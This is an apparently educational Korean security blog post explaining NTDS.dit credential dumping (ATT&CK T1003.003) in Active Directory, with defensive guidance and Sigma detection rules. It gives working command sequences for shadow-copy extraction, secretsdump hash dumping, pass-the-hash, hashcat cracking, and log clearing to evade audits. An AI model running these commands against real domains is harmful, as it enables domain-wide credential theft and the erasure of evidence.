COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
NTDS.dit 파일 하나에 도메인 전체 사용자의 비밀번호 해시가 들어 있다. 17개 APT 그룹이 이 파일을 노리는 이유와 방어법.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
Active Directory 도메인 서비스를 사용하는 기업 중 95%가 도메인 컨트롤러에 모든 사용자의 비밀번호 해시를 저장하고 있다. 이 중앙집중식 저장 방식은 관리 편의성을 제공한다. 동시에 공격자에게는 "한 번의 침입으로 전체 도메인을 장악할 수 있는 황금 창고" 가 된다. T1003.003 NTDS 공격은 바로 이 약점을 노리는 기법이다.
Windows 도메인 환경이 등장하기 전, 각 컴퓨터는 독립적으로 사용자 계정을 관리했다. 100대의 컴퓨터가 있다면 사용자 한 명이 모든 컴퓨터에 접근하려면 100개의 계정이 필요했다.
Active Directory는 이 문제를 해결하기 위해 중앙집중식 인증을 도입했다. 도메인 컨트롤러 한 곳에 모든 사용자 정보를 저장하고, 다른 컴퓨터들은 이곳에 인증을 요청하는 방식이다.
하지만 이 설계는 근본적인 보안 위험을 내포했다:
T1003.003은 바로 이 구조적 약점을 악용하여 도메인 전체의 자격증명을 한 번에 탈취하는 공격 기법이다.
The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain. — Microsoft Learn: Active Directory Database
NTDS.dit(NT Directory Services Database)는 Windows Active Directory의 핵심 데이터베이스 파일로, 도메인의 모든 사용자, 그룹, 컴퓨터 계정과 함께 비밀번호 해시를 저장한다.
%SystemRoot%\NTDS\Ntds.dit)| 용어 | 설명 |
|---|---|
| NTDS.dit | 저장 위치: 도메인 컨트롤러 / 포함 정보: 전체 도메인 해시 / 접근 권한: Domain Admin / 공격 난이도: 높음 |
| SAM | 저장 위치: 로컬 컴퓨터 / 포함 정보: 로컬 계정 해시만 / 접근 권한: Local Admin / 공격 난이도: 중간 |
| LSA Secrets | 저장 위치: 로컬 레지스트리 / 포함 정보: 서비스 계정 비밀번호 / 접근 권한: Local Admin / 공격 난이도: 낮음 |
| LSASS 메모리 | 저장 위치: RAM / 포함 정보: 현재 로그인 자격증명 / 접근 권한: Debug 권한 / 공격 난이도: 낮음 |
NTDS.dit 파일에 접근하려면 Domain Admin 또는 Enterprise Admin 권한이 필요하다. 공격자는 다음 방법으로 이 권한을 획득한다:
NTDS.dit 파일은 실행 중인 도메인 컨트롤러에서 파일 잠금 상태이다. 직접 복사할 수 없어서 Volume Shadow Copy Service(VSS)를 사용한다:
# VSS를 이용한 섀도우 복사본 생성
vssadmin create shadow /for=C:
# 또는 WMI 사용
wmic shadowcopy call create Volume='C:\'
# PowerShell 방식
(Get-WmiObject -List Win32_ShadowCopy).Create('C:\','ClientAccessible')
생성된 섀도우 복사본에서 NTDS.dit 파일을 추출한다:
# 섀도우 복사본에서 NTDS.dit 복사
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
# NTDSUtil을 이용한 IFM 백업 방식
ntdsutil "activate instance ntds" "files" "create full c:\temp" "quit" "quit"
NTDS.dit의 암호화를 해제하려면 SYSTEM 레지스트리 하이브가 필요하다. 여기에 PEK(Password Encryption Key)가 저장되어 있기 때문이다:
# SYSTEM 레지스트리 하이브 추출
reg save HKLM\SYSTEM C:\temp\system.hiv
# 또는 섀도우 복사본에서 직접 복사
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system.hiv
획득한 NTDS.dit와 SYSTEM 파일을 사용하여 오프라인에서 해시를 추출한다:
# Impacket secretsdump.py 사용
python secretsdump.py -ntds ntds.dit -system system.hiv LOCAL
# 출력 예시:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d125e4f69c851529045784ba47b4ebc6:::
# user1:1001:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef:::
NTDS.dit의 비밀번호 해시는 이중 암호화되어 있다:
추출된 해시는 두 가지 방법으로 활용된다:
Pass-the-Hash 공격:
# PsExec을 이용한 해시 인증
python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c administrator@target-server
오프라인 크래킹:
# Hashcat을 이용한 브루트포스
hashcat -m 1000 -a 0 hashes.txt wordlist.txt
공격자에게 NTDS.dit는 "도메인의 마스터키" 이다. 한 번의 성공적인 추출로 다음이 가능하다:
1. 스테이지드 공격 (Staged Attack)
다이어그램
2. Living Off the Land 기법
공격자는 Windows 내장 도구만으로 NTDS를 추출할 수 있다:
REM 1. 섀도우 복사본 생성 (내장 도구)
vssadmin create shadow /for=C:
REM 2. 파일 복사 (내장 도구)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit
REM 3. 레지스트리 추출 (내장 도구)
reg save HKLM\SYSTEM C:\Windows\Temp\system.hiv
REM 4. 정리 작업
vssadmin delete shadows /shadow={shadow-id}
3. PowerShell을 이용한 메모리 내 추출
# Invoke-NinjaCopy - 파일 잠금 우회
function Invoke-NinjaCopy {
param([string]$Path, [string]$LocalDestination)
# 직접 NTFS 레코드 접근으로 잠금 우회
}
# DSInternals 모듈 활용
Import-Module DSInternals
Get-ADDBAccount -All -DatabasePath "ntds.dit" -BootKey $bootkey
1. 타이밍 공격
2. 프로세스 위장
# 정상 백업 도구로 위장
$process = Start-Process -FilePath "ntdsutil.exe" -ArgumentList $args -WindowStyle Hidden
3. 이벤트 로그 조작
REM 보안 로그 비활성화
auditpol /set /category:"Object Access" /success:disable /failure:disable
REM 특정 이벤트 ID 삭제
wevtutil cl Security
APT29 (Cozy Bear) - SolarWinds 공격 (2020)
APT29는 SolarWinds 공급망 침해를 통해 다수의 정부 기관과 기업에 침입한 후, NTDS.dit 추출을 통해 도메인 전체를 장악했다:
Lazarus Group - WannaCry 이후 활동 (2017-2018)
북한의 Lazarus 그룹은 WannaCry 공격 이후 은행권을 대상으로 NTDS 공격을 수행했다:
1. 접근 제어 강화
# NTDS 파일 접근 모니터링
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663} |
Where-Object {$_.Message -like "*ntds.dit*"}
2. 권한 분리
3. 실시간 탐지
# Sigma 룰 예시
title: NTDS.dit 파일 접근 탐지
detection:
selection:
EventID: 4663
ObjectName: '*\ntds.dit'
condition: selection
4. 백업 보안
5. 네트워크 세그먼테이션
T1003.003 NTDS 공격은 Active Directory의 중앙집중식 설계를 악용하여 도메인 전체의 자격증명을 한 번에 탈취하는 고도화된 공격 기법이다. Volume Shadow Copy와 암호화 해제 과정을 통해 공격자는 모든 사용자의 비밀번호 해시를 획득할 수 있으며. 이는 Golden Ticket이나 Silver Ticket 공격으로 이어질 수 있다.
방어를 위해서는 도메인 관리자 권한의 최소화, 실시간 파일 접근 모니터링. 그리고 계층화된 관리 모델의 도입이 중요하다. 특히 T1003 자격증명 덤핑의 다른 기법들과 연계하여 종합적인 방어 전략을 수립해야 한다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.